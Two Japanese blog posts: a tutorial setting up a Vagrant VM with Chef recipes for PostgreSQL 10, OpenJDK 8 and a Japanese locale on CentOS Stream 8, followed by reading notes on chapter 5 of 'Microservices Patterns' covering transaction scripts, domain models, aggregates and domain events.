ポートフォワーディングはフォワード先を考えるのが面倒くさいのでやらない。プライベートネットワークは hostonlyアダプターに設定されたネットワークアドレス内のアドレスを設定する 最近のchef がライセンス許諾必要らしいので chef.arguments = "--chef-license accept" を追加する。 レシピ postgresql chef-repo/Berksfile cookbook 'postgresql', '~> 10.0.1', :supermarket Berksfile に書いたレシピを取り込む > cd chef-repo > berks vendor cookbooks インストール用レシピを作成する > mkdir site-cookbooks > cd site-cookbooks > chef generate cookbook pgsql berkshelf の postgresql を参照する chef-repo/site-cookbooks/pgsql/metadata.rm name 'pgsql' maintainer 'The Authors' maintainer_email 'you@example.com' license 'All Rights Reserved' description 'Installs/Configures pgsql' long_description 'Installs/Configures pgsql' version '0.1.0' chef_version '>= 14.0' depends 'postgresql' レシピ編集 chef-repo/site-cookbooks/pgsql/recipes/default.rb # # Cookbook:: pgsql # Recipe:: default # # Copyright:: 2022, The Authors, All Rights Reserved. postgresql_client_install 'My PostgreSQL Client install' do version '10' action :install end postgresql_server_install 'My PostgreSQL Server install' do version '10' initdb_locale 'ja_JP.UTF-8' initdb_encoding 'UTF8' action [:install, :create] end postgresql_server_conf 'PostgreSQL Config' do additional_config({ :listen_addresses => '*' }) notifies :reload, 'service[postgresql]' end postgresql_access 'postgresql access' do access_type 'host' access_db 'all' access_user 'all' access_addr '192.168.56.0/24' access_method 'password' notifies :reload, 'service[postgresql]' end postgresql_database 'postgresql database' do database 'testdb2' encoding 'UTF8' template 'template0' locale 'ja_JP.UTF-8' end postgresql_user 'postgresql user' do create_user 'testuser' password 'password' end service 'postgresql' do service_name 'postgresql-10' supports restart: true, status: true, reload: true, enable: true action [:enable, :reload] end レシピ jdk デフォルトのパッケージリポジトリに openjdk があるので使う インストール用レシピを作成する > mkdir site-cookbooks > cd site-cookbooks > chef generate cookbook jdk レシピ編集 chef-repo/site-cookbooks/jdk/recipes/default.rb package "java-1.8.0-openjdk" do action [ :install, :upgrade ] end package "java-1.8.0-openjdk-devel" do action [ :install, :upgrade ] end *-devel がないと javac できない レシピ その他一般 centos/stream8 とか、日本語ロケールがインストールされてないので追加する インストール用レシピを作成する > mkdir site-cookbooks > cd site-cookbooks > chef generate cookbook init レシピ編集 chef-repo/site-cookbooks/init/recipes/default.rb execute "install-locale-ja" do command "yum -y install glibc-langpack-ja" end execute "set-locale-ja" do command "localectl set-locale LANG=ja_JP.utf8" end run list chef-repo/nodes/server.json { "name": "server", "normal": { "tags": [ ] }, "run_list": [ "recipe[init]", "recipe[pgsql]", "recipe[jdk]" ] } 起動 vagrant up --provider virtualbox vagrant のバージョンと vitualbox のバージョンによっては vboxguestadditions がインストールに失敗する場合があるので、その場合 kernel をアップデートしてからリロードする > vagrant ssh ... ここから VM内 $ sudo dnf install -y wget $ sudo dnf install -y epel-release $ sudo dnf -y update $ exit ... ここからホスト側 > vagrant reload --provision その他 postgresql を使うだけ(のこりは Windowsにインストールしたものでまかなうとか) なら docker の方が簡単。springとかでも同じ。 今回は jdkでなにかビルドして動かすコンソールアプリを意図しているのでvagrantでやる。
- 投稿日:2022-02-28T01:31:31+09:00
「マイクロサービスパターン」の復習 5章
概要 Java読書会でせっかく勉強したのにつぎつぎと忘れていくので、印象に残ったところを記録していく 5章 マイクロサービスアーキテクチャにおけるビジネスロジックの設計 ビジネスロジックを設計上、どのように構築していくか Transaction scriptパターン もっともシンプルな形態 ビジネスロジックはサービスクラスに持たせて、エンティティクラスはデータだけ エンンティティの方はORマッパーでマッピングする 利点 設計が簡単 エンティティ側がデータだけなので、責務について悩むこともない ロジックとデータが分離されている ビジネスロジックとデータ(データベースのスキーマ)の変更頻度・ライフサイクルは違うので別れている方が良いという考え方もある 欠点 ビジネスロジックの重複 ビジネスロジック間の共通ロジックについて、共通化がきれいにできない ロジックは全部サービス側の責務になってしまっているので、共通化したとしても結構汚くなるでしょう。例えば、AbstractServiceみたいな親クラスを作って、共通ロジックを親クラス持ちにするのもよくあるけど、数あるサブクラスのうち2つの共通化にしかなってないとそれは親クラスの責務なのか?となるでしょう。 Transaction Scriptについては、利点も協力だけど、この本のスタンスとしては、より柔軟で強力なDomain Modelパターン(とその系譜)の方が複雑なロジックを実現するには適しているとしている。 Domain Modelパターン 柔軟かつ強力な形態 外部からの要求の受け口となるサービスクラスは入口となるメソッドはもつが、ほとんどのビジネスロジックはモデルクラスが持ち、サービスクラスはモデルのメソッドを呼ぶだけ 利点 (オブジェクト指向的な意味で)設計が分かりやすい モデルクラスがデータとそれに関連するビジネスロジックを持つので、オブくジェクト指向的な役割分担がなされる 結果的に共通化が促進される(共通ロジックもどのクラスの責務なのかが明確になり各モデルクラスに分散されていく) テストがしやすい これが真実かどうかは作り方によるが、この本に出てくるモデルクラスはそれなりにテストしやすくなっている オブジェクト指向の本来持っている柔軟性が活かしやすい GOFのデザインパターンなどが活かしやすい 欠点 設計難易度が高い ORマッパーとの使い方に気を使う Transaction Scriptならテーブルとのマッピング用なので、クラスからスキーマを作るので、スキーマからクラスを作るのでもどちらでも良かったけど、Domainモデルでは単純にはいかない。 個人的にはDomain Modelパターンは、うまく行けば綺麗だけど、設計が崩れないよう、細心の注意を払わなければいけないので、かならずしも好きではないです Aggregateパターン AggregateはもともとDDDの言葉。 モデリング後の各エンティティを、従属関係、ライフサイクル、意味論などの観点からグルーピンングし、各グループをAggregateと呼ぶ 例 Orderアグリゲートとは、Order、PaymentInfo、DeliveryInfo、OrderLineItemの集合となる。アグリゲートの中で特に中核となるものをアグリゲートルートとよぶ 通常のドメインモデルであっても実際に作ったことのある人ならOrderLineItemはOrderの一部分であり、Orderが削除されるときにはOrderLineItemも削除されるのは感覚的に分かるはず 一方で、Orderテーブルの外部キーとして、Restaurantへの参照があったとしも、RestaurantはOrderとは別のライフサイクルを持つことも感覚的に分かるはず Aggregateパターンでは、これらを明確にする Aggregateパターンでは、Aggregateが整合性の単位となる。 例 OrderLineItemを個別に作成・削除するのではなく、Orderに対する更新処理として表現する 実装上はTransactionが使えるなら、一つのTransactionに収まるようにする アグリゲートとマイクロサービス 概ねマイクロサービスとアグリゲートを1対1にすると、それらしい設計になる 場合によっては1対多でもいいのかもしれない。 単純なDomain Modelだと、Domain Modelのどの部分がどのサービスに担当になるのか不明瞭 アグリゲートというモデル上の境界を導入することで、サービスへの対応がしやすくなる この章の本題であるビジネスロジックは、各アグリゲートが持つようにする Domain Modelを強化したようなもの 例:OrderサービスとOrderアグリゲート、KitchenサービスとKitchenアグリゲート アグリゲートをまたがる参照は、主キーの参照を持つようにする サーガによって、サービスを渡り歩く処理をする場合は、1つのアグリゲートごとに1つのトランザクションを作る Domain Eventパターン アグリゲートが生成、更新されたときはイベントを発行するということ 単位がアグリゲートなのが大事 イベントの用途1:ユーザーへの通知 例えばOrderの配送開始をユーザーにメールで通知するなど Orderの更新処理の一部として、メール通知のロジックも含めることでも実現可能である イベント経由にしておいたほうが、関心事が分離されて、拡張性もある。 通知手段はいくつでも増やせるなど イベントの用途2:別のマイクロサービスへの通知 7章のCQRSパターンのように、更新とクエリーが別サービスになっている場合は、クエリー側のサービスは更新側サービスからイベントを拾って、クエリーのためのDBを更新する マイクロサービスでは、各サービスごとにDBをもつので、結果的に何らかミラーリングが必要になることも多くなる。そのためにはイベントは欠かせなくなる 感想 アグリゲートは、マイクロサービスの構成を考える上で、根幹をなす考え方だと思われる イベントというのは組み込みでは当たり前のものだけど、ついにWebの世界でもイベントが必要な時代になったかと感じる